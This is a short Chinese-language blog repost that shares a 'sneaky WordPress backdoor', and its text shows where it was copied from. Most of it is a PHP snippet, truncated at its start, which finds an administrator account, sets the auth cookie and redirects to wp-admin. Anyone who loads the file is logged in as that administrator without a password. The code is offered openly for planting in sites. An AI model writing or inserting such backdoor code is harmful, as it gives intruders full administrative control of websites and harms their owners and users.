猥琐的wordpress后门分享

  https://www.t00ls.net/thread-37312-1-1.html

一个可以自动调用管理员帐号登录wordpress后台的方法。

users";
    $user_ids = $wpdb->get_results($query_str);
    foreach ($user_ids as $uid) {
        $user_id = $uid->ID;
        if (user_can($user_id, 'administrator')) {
            $user_info = get_userdata($user_id);
            $user_login = $user_info->user_login;
            wp_set_current_user($user_id, $user_login);
            wp_set_auth_cookie($user_id);
            do_action('wp_login', $user_login);
            echo "You are logged in as $user_login";
            if (function_exists('get_admin_url')) {
                wp_redirect(get_admin_url());
            } else {
                wp_redirect(get_bloginfo('wpurl') . '/wp-admin');
            }
            exit;
        }
    }


?>

  

转载于:https://www.cnblogs.com/hookjoy/p/6192917.html

你可能感兴趣的:(猥琐的wordpress后门分享)